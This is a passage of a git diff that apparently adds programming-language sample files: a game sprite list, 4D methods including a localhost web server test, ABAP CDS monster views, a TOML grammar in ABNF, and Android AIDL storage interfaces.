+31  "Horse, Gunpowder, leather barding"            c_horse2c1       default        
+32  "Horse, Gunpowder, scale mail barding"         c_horse2c2       default        
+33  "Horse, Gunpowder, chain barding"              c_horse2c3       default        
+34  "Horse, Gunpowder, purple barding"             c_horse2c4       default        
+35  "Horse, Gunpowder, red barding"                c_horse2c5       default        
+36  "Horse, Gunpowder, leather barding, packs"     c_horse2d1       default        
+37  "Horse, Gunpowder, scale mail barding, packs"  c_horse2d2       default        
+38  "Horse, Gunpowder, chain barding, packs"       c_horse2d3       default        
+39  "Horse, Gunpowder, purple barding, packs"      c_horse2d4       default        
+40  "Horse, Gunpowder, red barding, packs"         c_horse2d5       default        
+41  "Horse, Spotted"                               c_horse3         default        
+42  "Horse, Spotted, saddle"                       c_horse3a        default        
+43  "Horse, Spotted, saddle, packs"                c_horse3b        default        
+44  "Horse, Spotted, leather barding"              c_horse3c1       default        
+45  "Horse, Spotted, scale mail barding"           c_horse3c2       default        
+46  "Horse, Spotted, chain barding"                c_horse3c3       default        
+47  "Horse, Spotted, purple barding"               c_horse3c4       default        
+48  "Horse, Spotted, red barding"                  c_horse3c5       default        
+49  "Horse, Spotted, leather barding, packs"       c_horse3d1       default        
+50  "Horse, Spotted, scale mail barding, packs"    c_horse3d2       default        
+51  "Horse, Spotted, chain barding, packs"         c_horse3d3       default        
+52  "Horse, Spotted, purple barding, packs"        c_horse3d4       default        
+53  "Horse, Spotted, red barding, packs"           c_horse3d5       default        
+54  "Horse, Black"                                 c_horse4         default        
+55  "Horse, Black, saddle"                         c_horse4a        default        
+56  "Horse, Black, saddle, packs"                  c_horse4b        default        
+57  "Horse, Black, leather barding"                c_horse4c1       default        
+58  "Horse, Black, scale mail barding"             c_horse4c2       default        
+59  "Horse, Black, chain barding"                  c_horse4c3       default        
+60  "Horse, Black, purple barding"                 c_horse4c4       default        
+61  "Horse, Black, red barding"                    c_horse4c5       default        
+62  "Horse, Black, leather barding, packs"         c_horse4d1       default        
+63  "Horse, Black, scale mail barding, packs"      c_horse4d2       default        
+64  "Horse, Black, chain barding, packs"           c_horse4d3       default        
+65  "Horse, Black, purple barding, packs"          c_horse4d4       default        
+66  "Horse, Black, red barding, packs"             c_horse4d5       default        
+67  "Nightmare, barding"                           c_horse5         default        
+68  "Nightmare, saddle"                            c_horse5a        default        
+69  Nightmare                                      c_horse5b        default        
+70  "Horse, Jousting, Purple cloth"                c_horse_j1       default        
+71  "Horse, Jousting, Blue and gold cloth"         c_horse_j2       default        
+72  "Horse, Jousting, Black and white cloth"       c_horse_j3       default        
+73  "Horse, Jousting, Red and yellow cloth"        c_horse_j4       default        
+74  "Horse, Jousting, Red and black Striped cloth" c_horse_j5       default        
+75  "Horse, Jousting, Green cloth"                 c_horse_j6       default        
+76  "Horse, Jousting, Blue and pink cloth"         c_horse_j7       default        
+77  "Horse, Jousting, Red and gold brick cloth"    c_horse_j8       default        
+78  "Horse, Jousting, Black cloth"                 c_horse_j9       default        
+79  "Horse, Jousting, Cyan and white cloth"        c_horse_j10      default        
+80  "Horse, Jousting, White cloth"                 c_horse_j11      default        
+81  "Halfling, NPC, Female"                        c_yNPC_a_f01     default        
+82  "Halfling, NPC, Male"                          c_yNPC_a_m01     default        
+83  "Azer, Female"                                 c_azergirl       evmap_azer     
+84  "Azer, Male"                                   c_azerman        evmap_azer     
+85  "Druegar, Cleric"                              c_yDurgCleric    default        
+86  "Druegar, Fighter"                             c_yDurgFight     default        
+87  "Duergar, Chief"                               c_yduechf        default        
+88  "Duergar, Slave"                               c_ydueslv        default        
+89  "Dwarf, NPC, Female"                           c_yNPC_d_f01     default        
+90  "Dwarf, NPC, Male"                             c_yNPC_d_m01     default        
+91  "Svirf, Female"                                c_ysvirfgirl     default        
+92  "Svirf, Male"                                  c_ysvirfman      default        
+93  "Drow, Matron"                                 c_drowmat        default        
+94  "Drow, Cleric"                                 c_yDroCleric     default        
+95  "Drow, Female, 1"                              c_ydrofem1       default        
+96  "Drow, Female, 2"                              c_ydrofem2       default        
diff --git a/samples/4D/generate_project.4dm b/samples/4D/generate_project.4dm
new file mode 100644
index 0000000000..5ade4a6404
--- /dev/null
+++ b/samples/4D/generate_project.4dm
@@ -0,0 +1,12 @@
+//%attributes = {}
+$params:=New object:C1471
+$params.PRODUCT_NAME:="strophe"
+$params.PRODUCT_VERSION:="1.0"
+$params.AUTHOR:="miyako"
+$params.CREATE_DATE:=Current date:C33
+$params.COPYRIGHT_YEAR:=Year of:C25(Current date:C33)
+
+generate_project_source ($params)
+generate_project_vs ($params)
+generate_project_xcode ($params)
+generate_project_plugin_stub ($params)
\ No newline at end of file
diff --git a/samples/4D/play_with_classes.4dm b/samples/4D/play_with_classes.4dm
new file mode 100644
index 0000000000..f26e58b678
--- /dev/null
+++ b/samples/4D/play_with_classes.4dm
@@ -0,0 +1,121 @@
+//%attributes = {}
+  // ----------------------------------------------------
+  // Project method : object
+  // ID[5543995AC5E24988A39E024B39541A8F]
+  // Created 13-9-2019 by Vincent de Lachaux
+  // ----------------------------------------------------
+  // Description:
+  //
+  // ----------------------------------------------------
+  // Declarations
+C_OBJECT:C1216($0)
+C_TEXT:C284($1)
+C_TEXT:C284($2)
+
+C_TEXT:C284($t)
+C_OBJECT:C1216($o)
+C_COLLECTION:C1488($c)
+
+If (False:C215)
+	C_OBJECT:C1216(class ;$0)
+	C_TEXT:C284(class ;$1)
+	C_TEXT:C284(class ;$2)
+End if 
+
+  // ----------------------------------------------------
+If (This:C1470[""]=Null:C1517)  // Constructor
+	
+	If (Count parameters:C259>=1)
+		
+		$t:=String:C10($1)
+		
+		If (Count parameters:C259>=2)
+			
+			  // With parameter
+			$o:=Formula from string:C1601($t+"(\""+String:C10($2)+"\")").call()
+			
+		Else 
+			
+			$o:=Formula from string:C1601($t).call()
+			
+		End if 
+		
+		$o.constructor:=Formula:C1597(class ("constructor"))
+		
+	End if 
+	
+Else 
+	
+	Case of 
+			
+			  //______________________________________________________
+		: ($1="constructor")  // Returns collection of properties and functions
+			
+			$o:=New object:C1471(\
+				"properties";New collection:C1472;\
+				"functions";New collection:C1472;\
+				"fomulas";New collection:C1472)
+			
+			$c:=New collection:C1472
+			
+			For each ($t;This:C1470)
+				
+				$c.push($t)
+				
+			End for each 
+			
+			$c:=$c.orderBy(ck ascending:K85:9)
+			
+			For each ($t;$c)
+				
+				Case of 
+						
+						  //______________________________________________________
+					: ($t=$1)
+						
+						  //______________________________________________________
+					: (Value type:C1509(This:C1470[$t])=Is object:K8:27)
+						
+						  //If (JSON Stringify(This[$t])="\"[object Formula]\"")
+						If (This:C1470[$t].source#Null:C1517)
+							
+							$o.functions.push($t)
+							$o.fomulas.push(This:C1470[$t].source)
+							
+						Else 
+							
+							$o.properties.push($t)
+							
+						End if 
+						
+						  //______________________________________________________
+					Else 
+						
+						$o.properties.push($t)
+						
+						  //______________________________________________________
+				End case 
+			End for each 
+			
+			$o.functions:=$o.functions.orderBy(ck ascending:K85:9)
+			$o.properties:=$o.properties.orderBy(ck ascending:K85:9)
+			
+			  //________________________________________
+		: (This:C1470=Null:C1517)
+			
+			ASSERT:C1129(False:C215;"OOPS, this method must be called from a member method")
+			
+			  //______________________________________________________
+		Else 
+			
+			$o:=This:C1470[$1].call()
+			
+			  //______________________________________________________
+	End case 
+End if 
+
+  // ----------------------------------------------------
+  // Return
+$0:=$o
+  // ----------------------------------------------------
+  // End
\ No newline at end of file
diff --git a/samples/4D/test_webServerStart.4dm b/samples/4D/test_webServerStart.4dm
new file mode 100644
index 0000000000..e253d97420
--- /dev/null
+++ b/samples/4D/test_webServerStart.4dm
@@ -0,0 +1,47 @@
+//%attributes = {"preemptive":"capable"}
+C_OBJECT:C1216($webObject)
+$webObject:=WEB server:C1674(2)  //host db webServer
+
+  //some initiatialisation
+clear_files 
+
+
+C_OBJECT:C1216($settings)
+C_OBJECT:C1216($result)
+C_OBJECT:C1216($path;$newIndex)
+C_TEXT:C284($response)
+$settings:=New object:C1471
+$settings.rootFolder:=Folder:C1567(fk web root folder:K87:15).parent.folder("WebFolder2").platformPath
+$settings.certificateFolder:=Folder:C1567(fk database folder:K87:14).folder("certificate").platformPath
+$settings.HTTPEnabled:=True:C214
+$settings.HTTPPort:=8888
+$settings.HTTPSEnabled:=True:C214
+$settings.HTTPSPort:=4443
+$settings.defaultHomepage:="index2.html"
+
+$result:=$webObject.start($settings)
+
+ASSERT:C1129($result#Null:C1517;"result should not be null")
+ASSERT:C1129($result.success=True:C214;"result must contain a 'success' attribute and must be true")
+ASSERT:C1129($webObject.isRunning=True:C214;"web server 'isRunning' should be true")
+
+  //test HTTP
+$statusCode:=HTTP Get:C1157("http://localhost:8888";$response)
+
+ASSERT:C1129($statusCode=200;"Web Server not started")
+
+$path:=Folder:C1567($settings.rootFolder;fk platform path:K87:2).file("index2.html")
+$newIndex:=File:C1566($path.platformPath;fk platform path:K87:2)
+
+ASSERT:C1129($response=$newIndex.getText();"unexpected index page content")
+
+
+$statusCode:=HTTP Get:C1157("https://localhost:4443";$response)
+
+ASSERT:C1129($statusCode=200;"Web Server not started")
+
+$webObject.stop()
+
+
+
+
diff --git a/samples/4D/webArea.4dm b/samples/4D/webArea.4dm
new file mode 100644
index 0000000000..d6c66ab020
--- /dev/null
+++ b/samples/4D/webArea.4dm
@@ -0,0 +1,158 @@
+//%attributes = {"invisible":true}
+  // ----------------------------------------------------
+  // Project method : webArea
+  // ID[400C94A87A6E4C049664710A5F9E71F9]
+  // Created 10-1-2020 by Vincent de Lachaux
+  // ----------------------------------------------------
+  // Description:
+  //
+  // ----------------------------------------------------
+  // Declarations
+C_OBJECT:C1216($0)
+C_TEXT:C284($1)
+C_OBJECT:C1216($2)
+
+C_TEXT:C284($t)
+C_OBJECT:C1216($o)
+
+If (False:C215)
+	C_OBJECT:C1216(webArea ;$0)
+	C_TEXT:C284(webArea ;$1)
+	C_OBJECT:C1216(webArea ;$2)
+End if 
+
+  // ----------------------------------------------------
+If (This:C1470[""]=Null:C1517)  // Constructor
+	
+	If (Count parameters:C259>=1)
+		
+		$t:=String:C10($1)
+		
+	End if 
+	
+	$o:=New object:C1471(\
+		"";"webArea";\
+		"name";$t;\
+		"url";"";\
+		"coordinates";Null:C1517;\
+		"windowCoordinates";Null:C1517;\
+		"getCoordinates";Formula:C1597(widget ("getCoordinates"));\
+		"hide";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;False:C215));\
+		"moveHorizontally";Formula:C1597(widget ("setCoordinates";New object:C1471("left";$1)));\
+		"moveVertically";Formula:C1597(widget ("setCoordinates";New object:C1471("top";$1)));\
+		"resizeHorizontally";Formula:C1597(widget ("setCoordinates";New object:C1471("right";$1)));\
+		"resizeVertically";Formula:C1597(widget ("setCoordinates";New object:C1471("bottom";$1)));\
+		"setVisible";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;Bool:C1537($1)));\
+		"show";Formula:C1597(OBJECT SET VISIBLE:C603(*;This:C1470.name;True:C214));\
+		"visible";Formula:C1597(OBJECT Get visible:C1075(*;This:C1470.name));\
+		"back";Formula:C1597(WA OPEN BACK URL:C1021(*;This:C1470.name));\
+		"content";Formula:C1597(WA Get page content:C1038(*;This:C1470.name));\
+		"forward";Formula:C1597(WA OPEN FORWARD URL:C1022(*;This:C1470.name));\
+		"init";Formula:C1597(webArea ("init"));\
+		"isLoaded";Formula:C1597(WA Get current URL:C1025(*;This:C1470.name)=This:C1470.url);\
+		"lastFiltered";Formula:C1597(WA Get last filtered URL:C1035(*;This:C1470.name));\
+		"openURL";Formula:C1597(webArea ("openURL";New object:C1471("url";$1)));\
+		"refresh";Formula:C1597(webArea ("openURL";New object:C1471("url";$1)));\
+		"setContent";Formula:C1597(webArea ("setContent";New object:C1471("content";String:C10($1);"base";$2)));\
+		"title";Formula:C1597(WA Get page title:C1036(*;This:C1470.name))\
+		)
+	
+	If (Is Windows:C1573)
+		
+		$o.openURL()  // previously load about:blank
+		
+	End if 
+	
+Else 
+	
+	$o:=This:C1470
+	
+	Case of 
+			
+			  //______________________________________________________
+		: ($o=Null:C1517)
+			
+			ASSERT:C1129(False:C215;"OOPS, this method must be called from a member method")
+			
+			  //______________________________________________________
+		: ($1="init")
+			
+			ARRAY TEXT:C222($tTxt_filters;0x0000)
+			ARRAY BOOLEAN:C223($tBoo_allow;0x0000)
+			
+			  // All are forbidden
+			APPEND TO ARRAY:C911($tTxt_filters;"*")  // All
+			APPEND TO ARRAY:C911($tBoo_allow;False:C215)  // Forbidden
+			
+			  // Allow WA SET PAGE CONTENT
+			APPEND TO ARRAY:C911($tTxt_filters;"file*")
+			APPEND TO ARRAY:C911($tBoo_allow;True:C214)  // to allow including HTML files
+			
+			WA SET URL FILTERS:C1030(*;$o.name;$tTxt_filters;$tBoo_allow)
+			
+			WA SET PREFERENCE:C1041(*;$o.name;WA enable Java applets:K62:3;False:C215)
+			WA SET PREFERENCE:C1041(*;$o.name;WA enable JavaScript:K62:4;True:C214)
+			WA SET PREFERENCE:C1041(*;$o.name;WA enable plugins:K62:5;False:C215)  //
+			
+			  // Active the contextual menu in debug mode
+			WA SET PREFERENCE:C1041(*;$o.name;WA enable contextual menu:K62:6;Not:C34(Is compiled mode:C492) | (Structure file:C489=Structure file:C489(*)))
+			WA SET PREFERENCE:C1041(*;$o.name;WA enable Web inspector:K62:7;True:C214)
+			
+			  //______________________________________________________
+		: ($1="openURL")
+			
+			If (Value type:C1509($2.url)=Is object:K8:27)  // File
+				
+				$t:="file:///"+$2.url.path
+				
+			Else 
+				
+				$t:=String:C10($2.url)
+				
+			End if 
+			
+			Case of 
+					
+					  //……………………………………………………………………………………………………
+				: (Length:C16($t)=0)
+					
+					$t:="about:blank"
+					
+					  //……………………………………………………………………………………………………
+				: ($t="internal")  // Current database server
+					
+					$t:="127.0.0.1:"+String:C10(WEB Get server info:C1531.options.webPortID)
+					
+					  //……………………………………………………………………………………………………
+				: ($t="localhost")\
+					 & Is macOS:C1572  //#TURN_AROUND - In some cases, using "localhost" we get the error -30 "Server unreachable"
+					
+					$t:="127.0.0.1"
+					
+					  //……………………………………………………………………………………………………
+			End case 
+			
+			$o.url:=$t
+			
+			WA OPEN URL:C1020(*;$o.name;$o.url)
+			
+			  //______________________________________________________
+		: ($1="setContent")
+			
+			WA SET PAGE CONTENT:C1037(*;$o.name;$2.content;Choose:C955($2.base=Null:C1517;"/";String:C10($2.base)))
+			
+			  //______________________________________________________
+		Else 
+			
+			ASSERT:C1129(False:C215;"Unknown entry point: \""+$1+"\"")
+			
+			  //______________________________________________________
+	End case 
+End if 
+
+  // ----------------------------------------------------
+  // Return
+$0:=$o
+
+  // ----------------------------------------------------
+  // End
\ No newline at end of file
diff --git a/samples/ABAP CDS/zcds_monsters_association.ddls.asddls b/samples/ABAP CDS/zcds_monsters_association.ddls.asddls
new file mode 100644
index 0000000000..a2020961f7
--- /dev/null
+++ b/samples/ABAP CDS/zcds_monsters_association.ddls.asddls	
@@ -0,0 +1,19 @@
+@AbapCatalog.sqlViewName: 'ZV_MONSTERS_ASS'
+@AbapCatalog.compiler.compareFilter: true
+@AbapCatalog.preserveKey: true
+@AccessControl.authorizationCheck: #CHECK
+@EndUserText.label: 'Monster CDS View with Association'
+// Listing 07.30 : Coding CDS Views using Association
+define view Zcds_Monsters_Association
+  as select from ztmonster_header as monster
+  association [0..*] to ztmonster_pets as _Pet on monster.monster_number = _Pet.owner
+{
+  key monster.monster_number as MonsterNumber,
+  key _Pet.pet_number        as PetNumber,
+      _Pet.owner             as Owner,
+      monster.name           as OwnerName,
+      _Pet.pet_name          as Name,
+      _Pet.pet_type          as Type,
+      _Pet.pet_species       as Species,
+      _Pet // Make association public
+}
diff --git a/samples/ABAP CDS/zcds_monsters_parameters.ddls.asddls b/samples/ABAP CDS/zcds_monsters_parameters.ddls.asddls
new file mode 100644
index 0000000000..d1b328996f
--- /dev/null
+++ b/samples/ABAP CDS/zcds_monsters_parameters.ddls.asddls	
@@ -0,0 +1,21 @@
+@AbapCatalog.sqlViewName: 'ZV_MONSTERS_PARS'
+@AbapCatalog.compiler.compareFilter: true
+@AccessControl.authorizationCheck: #CHECK
+@EndUserText.label: 'Monster CDS View with Parameters'
+// Listing 07.32 : Defining CDS View with Parameters
+define view Zcds_Monsters_Parameters
+  with parameters
+    p_sanity_low  : zde_monster_sanity,
+    p_sanity_high : zde_monster_sanity,
+    p_color       : zde_monster_color
+  as select from ztmonster_header as monster
+{
+  key monster.monster_number    as MonsterNumber,
+      monster.name              as name,
+      monster.color             as color,
+      monster.sanity_percentage as sanity,
+      monster.strength          as strength
+}
+where
+      monster.color     =       :p_color
+  and sanity_percentage between :p_sanity_low and :p_sanity_high
diff --git a/samples/ABNF/toml.abnf b/samples/ABNF/toml.abnf
new file mode 100644
index 0000000000..6e71c2f11a
--- /dev/null
+++ b/samples/ABNF/toml.abnf
@@ -0,0 +1,190 @@
+; Source:  https://github.com/toml-lang/toml
+; License: MIT
+
+;; This is an attempt to define TOML in ABNF according to the grammar defined
+;; in RFC 4234 (http://www.ietf.org/rfc/rfc4234.txt).
+
+;; TOML
+
+toml = expression *( newline expression )
+expression = (
+  ws /
+  ws comment /
+  ws keyval ws [ comment ] /
+  ws table ws [ comment ]
+)
+
+;; Newline
+
+newline = (
+  %x0A /              ; LF
+  %x0D.0A             ; CRLF
+)
+
+newlines = 1*newline
+
+;; Whitespace
+
+ws = *(
+  %x20 /              ; Space
+  %x09                ; Horizontal tab
+)
+
+;; Comment
+
+comment-start-symbol = %x23 ; #
+non-eol = %x09 / %x20-10FFFF
+comment = comment-start-symbol *non-eol
+
+;; Key-Value pairs
+
+keyval-sep = ws %x3D ws ; =
+keyval = key keyval-sep val
+
+key = unquoted-key / quoted-key
+unquoted-key = 1*( ALPHA / DIGIT / %x2D / %x5F ) ; A-Z / a-z / 0-9 / - / _
+quoted-key = quotation-mark 1*basic-char quotation-mark ; See Basic Strings
+
+val = integer / float / string / boolean / date-time / array / inline-table
+
+;; Table
+
+table = std-table / array-table
+
+;; Standard Table
+
+std-table-open  = %x5B ws     ; [ Left square bracket
+std-table-close = ws %x5D     ; ] Right square bracket
+table-key-sep   = ws %x2E ws  ; . Period
+
+std-table = std-table-open key *( table-key-sep key) std-table-close
+
+;; Array Table
+
+array-table-open  = %x5B.5B ws  ; [[ Double left square bracket
+array-table-close = ws %x5D.5D  ; ]] Double right square bracket
+
+array-table = array-table-open key *( table-key-sep key) array-table-close
+
+;; Integer
+
+integer = [ minus / plus ] int
+minus = %x2D                       ; -
+plus = %x2B                        ; +
+digit1-9 = %x31-39                 ; 1-9
+underscore = %x5F                  ; _
+int = DIGIT / digit1-9 1*( DIGIT / underscore DIGIT )
+
+;; Float
+
+float = integer ( frac / frac exp / exp )
+zero-prefixable-int = DIGIT *( DIGIT / underscore DIGIT )
+frac = decimal-point zero-prefixable-int
+decimal-point = %x2E               ; .
+exp = e integer
+e = %x65 / %x45                    ; e E
+
+;; String
+
+string = basic-string / ml-basic-string / literal-string / ml-literal-string
+
+;; Basic String
+
+basic-string = quotation-mark *basic-char quotation-mark
+
+quotation-mark = %x22            ; "
+
+basic-char = basic-unescaped / escaped
+escaped = escape ( %x22 /          ; "    quotation mark  U+0022
+                   %x5C /          ; \    reverse solidus U+005C
+                   %x2F /          ; /    solidus         U+002F
+                   %x62 /          ; b    backspace       U+0008
+                   %x66 /          ; f    form feed       U+000C
+                   %x6E /          ; n    line feed       U+000A
+                   %x72 /          ; r    carriage return U+000D
+                   %x74 /          ; t    tab             U+0009
+                   %x75 4HEXDIG /  ; uXXXX                U+XXXX
+                   %x55 8HEXDIG )  ; UXXXXXXXX            U+XXXXXXXX
+
+basic-unescaped = %x20-21 / %x23-5B / %x5D-10FFFF
+
+escape = %x5C                    ; \
+
+;; Multiline Basic String
+
+ml-basic-string-delim = quotation-mark quotation-mark quotation-mark
+ml-basic-string = ml-basic-string-delim ml-basic-body ml-basic-string-delim
+ml-basic-body = *( ml-basic-char / newline / ( escape newline ))
+
+ml-basic-char = ml-basic-unescaped / escaped
+ml-basic-unescaped = %x20-5B / %x5D-10FFFF
+
+;; Literal String
+
+literal-string = apostraphe *literal-char apostraphe
+
+apostraphe = %x27 ; ' Apostrophe
+
+literal-char = %x09 / %x20-26 / %x28-10FFFF
+
+;; Multiline Literal String
+
+ml-literal-string-delim = apostraphe apostraphe apostraphe
+ml-literal-string = ml-literal-string-delim ml-literal-body ml-literal-string-delim
+
+ml-literal-body = *( ml-literal-char / newline )
+ml-literal-char = %x09 / %x20-10FFFF
+
+;; Boolean
+
+boolean = true / false
+true    = %x74.72.75.65     ; true
+false   = %x66.61.6C.73.65  ; false
+
+;; Datetime (as defined in RFC 3339)
+
+date-fullyear  = 4DIGIT
+date-month     = 2DIGIT  ; 01-12
+date-mday      = 2DIGIT  ; 01-28, 01-29, 01-30, 01-31 based on month/year
+time-hour      = 2DIGIT  ; 00-23
+time-minute    = 2DIGIT  ; 00-59
+time-second    = 2DIGIT  ; 00-58, 00-59, 00-60 based on leap second rules
+time-secfrac   = "." 1*DIGIT
+time-numoffset = ( "+" / "-" ) time-hour ":" time-minute
+time-offset    = "Z" / time-numoffset
+
+partial-time   = time-hour ":" time-minute ":" time-second [time-secfrac]
+full-date      = date-fullyear "-" date-month "-" date-mday
+full-time      = partial-time time-offset
+
+date-time      = full-date "T" full-time
+
+;; Array
+
+array-open  = %x5B ws  ; [
+array-close = ws %x5D  ; ]
+
+array = array-open array-values array-close
+
+array-values = [ val [ array-sep ] [ ( comment newlines) / newlines ] /
+                 val array-sep [ ( comment newlines) / newlines ] array-values ]
+
+array-sep = ws %x2C ws  ; , Comma
+
+;; Inline Table
+
+inline-table-open  = %x7B ws     ; {
+inline-table-close = ws %x7D     ; }
+inline-table-sep   = ws %x2C ws  ; , Comma
+
+inline-table = inline-table-open inline-table-keyvals inline-table-close
+
+inline-table-keyvals = [ inline-table-keyvals-non-empty ]
+inline-table-keyvals-non-empty = key keyval-sep val /
+                                 key keyval-sep val inline-table-sep inline-table-keyvals-non-empty
+
+;; Built-in ABNF terms, reproduced here for clarity
+
+; ALPHA = %x41-5A / %x61-7A ; A-Z / a-z
+; DIGIT = %x30-39 ; 0-9
+; HEXDIG = DIGIT / "A" / "B" / "C" / "D" / "E" / "F"
diff --git a/samples/AIDL/ExtendableParcelable.aidl b/samples/AIDL/ExtendableParcelable.aidl
new file mode 100644
index 0000000000..dea3d8a942
--- /dev/null
+++ b/samples/AIDL/ExtendableParcelable.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test_package;
+
+parcelable ExtendableParcelable {
+    int a;
+    @nullable @utf8InCpp String b;
+    ParcelableHolder ext;
+    long c;
+    ParcelableHolder ext2;
+}
diff --git a/samples/AIDL/IVoid.aidl b/samples/AIDL/IVoid.aidl
new file mode 100644
index 0000000000..62685e5d7f
--- /dev/null
+++ b/samples/AIDL/IVoid.aidl
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os;
+
+import android.os.incremental.IncrementalFileSystemControlParcel;
+import android.os.IVoldListener;
+import android.os.IVoldMountCallback;
+import android.os.IVoldTaskListener;
+
+/** {@hide} */
+interface IVold {
+    void setListener(IVoldListener listener);
+
+    void abortFuse();
+    void monitor();
+    void reset();
+    void shutdown();
+
+    void onUserAdded(int userId, int userSerial);
+    void onUserRemoved(int userId);
+    void onUserStarted(int userId);
+    void onUserStopped(int userId);
+
+    void addAppIds(in @utf8InCpp String[] packageNames, in int[] appIds);
+    void addSandboxIds(in int[] appIds, in @utf8InCpp String[] sandboxIds);
+
+    void onSecureKeyguardStateChanged(boolean isShowing);
+
+    void partition(@utf8InCpp String diskId, int partitionType, int ratio);
+    void forgetPartition(@utf8InCpp String partGuid, @utf8InCpp String fsUuid);
+
+    void mount(@utf8InCpp String volId, int mountFlags, int mountUserId,
+         @nullable IVoldMountCallback callback);
+    void unmount(@utf8InCpp String volId);
+    void format(@utf8InCpp String volId, @utf8InCpp String fsType);
+    void benchmark(@utf8InCpp String volId, IVoldTaskListener listener);
+
+    void moveStorage(@utf8InCpp String fromVolId, @utf8InCpp String toVolId,
+                     IVoldTaskListener listener);
+
+    void remountUid(int uid, int remountMode);
+    void remountAppStorageDirs(int uid, int pid, in @utf8InCpp String[] packageNames);
+    void unmountAppStorageDirs(int uid, int pid, in @utf8InCpp String[] packageNames);
+
+    void setupAppDir(@utf8InCpp String path, int appUid);
+    void fixupAppDir(@utf8InCpp String path, int appUid);
+    void ensureAppDirsCreated(in @utf8InCpp String[] paths, int appUid);
+
+    @utf8InCpp String createObb(@utf8InCpp String sourcePath, @utf8InCpp String sourceKey,
+                                int ownerGid);
+    void destroyObb(@utf8InCpp String volId);
+
+    void fstrim(int fstrimFlags, IVoldTaskListener listener);
+    void runIdleMaint(IVoldTaskListener listener);
+    void abortIdleMaint(IVoldTaskListener listener);
+
+    FileDescriptor mountAppFuse(int uid, int mountId);
+    void unmountAppFuse(int uid, int mountId);
+
+    void fdeCheckPassword(@utf8InCpp String password);
+    void fdeRestart();
+    int fdeComplete();
+    void fdeEnable(int passwordType, @utf8InCpp String password, int encryptionFlags);
+    void fdeChangePassword(int passwordType, @utf8InCpp String password);
+    void fdeVerifyPassword(@utf8InCpp String password);
+    @utf8InCpp String fdeGetField(@utf8InCpp String key);
+    void fdeSetField(@utf8InCpp String key, @utf8InCpp String value);
+    int fdeGetPasswordType();
+    @utf8InCpp String fdeGetPassword();
+    void fdeClearPassword();
+
+    void fbeEnable();
+
+    void mountDefaultEncrypted();
+    void initUser0();
+    boolean isConvertibleToFbe();
+    void mountFstab(@utf8InCpp String blkDevice, @utf8InCpp String mountPoint);
+    void encryptFstab(@utf8InCpp String blkDevice, @utf8InCpp String mountPoint, boolean shouldFormat, @utf8InCpp String fsType);
+
+    void setStorageBindingSeed(in byte[] seed);
+
+    void createUserKey(int userId, int userSerial, boolean ephemeral);
+    void destroyUserKey(int userId);
+
+    void addUserKeyAuth(int userId, int userSerial, @utf8InCpp String token,
+                        @utf8InCpp String secret);
+    void clearUserKeyAuth(int userId, int userSerial, @utf8InCpp String token,
+                        @utf8InCpp String secret);
+    void fixateNewestUserKeyAuth(int userId);
+
+    int[] getUnlockedUsers();
+    void unlockUserKey(int userId, int userSerial, @utf8InCpp String token,
+                       @utf8InCpp String secret);
+    void lockUserKey(int userId);
+
+    void prepareUserStorage(@nullable @utf8InCpp String uuid, int userId, int userSerial,
+                            int storageFlags);
+    void destroyUserStorage(@nullable @utf8InCpp String uuid, int userId, int storageFlags);
+
+    void prepareSandboxForApp(in @utf8InCpp String packageName, int appId,
+                              in @utf8InCpp String sandboxId, int userId);
+    void destroySandboxForApp(in @utf8InCpp String packageName,
+                              in @utf8InCpp String sandboxId, int userId);
+
+    void startCheckpoint(int retry);
+    boolean needsCheckpoint();
+    boolean needsRollback();
+    boolean isCheckpointing();
+    void abortChanges(in @utf8InCpp String device, boolean retry);
+    void commitChanges();
+    void prepareCheckpoint();
+    void restoreCheckpoint(@utf8InCpp String device);
+    void restoreCheckpointPart(@utf8InCpp String device, int count);
+    void markBootAttempt();
+    boolean supportsCheckpoint();
+    boolean supportsBlockCheckpoint();
+    boolean supportsFileCheckpoint();
+    void resetCheckpoint();
+
+    void earlyBootEnded();
+    @utf8InCpp String createStubVolume(@utf8InCpp String sourcePath,
+            @utf8InCpp String mountPath, @utf8InCpp String fsType,
+            @utf8InCpp String fsUuid, @utf8InCpp String fsLabel, int flags);
+    void destroyStubVolume(@utf8InCpp String volId);
+
+    FileDescriptor openAppFuseFile(int uid, int mountId, int fileId, int flags);
+
+    boolean incFsEnabled();
+    IncrementalFileSystemControlParcel mountIncFs(@utf8InCpp String backingPath, @utf8InCpp String targetDir, int flags);
+    void unmountIncFs(@utf8InCpp String dir);
+    void setIncFsMountOptions(in IncrementalFileSystemControlParcel control, boolean enableReadLogs);
+    void bindMount(@utf8InCpp String sourceDir, @utf8InCpp String targetDir);
+
+    void destroyDsuMetadataKey(@utf8InCpp String dsuSlot);
+
+    const int ENCRYPTION_FLAG_NO_UI = 4;
+
+    const int ENCRYPTION_STATE_NONE = 1;
+    const int ENCRYPTION_STATE_OK = 0;
+    const int ENCRYPTION_STATE_ERROR_UNKNOWN = -1;
+    const int ENCRYPTION_STATE_ERROR_INCOMPLETE = -2;
+    const int ENCRYPTION_STATE_ERROR_INCONSISTENT = -3;
+    const int ENCRYPTION_STATE_ERROR_CORRUPT = -4;
+
+    const int FSTRIM_FLAG_DEEP_TRIM = 1;
+
+    const int MOUNT_FLAG_PRIMARY = 1;
+    const int MOUNT_FLAG_VISIBLE = 2;
+
+    const int PARTITION_TYPE_PUBLIC = 0;
+    const int PARTITION_TYPE_PRIVATE = 1;
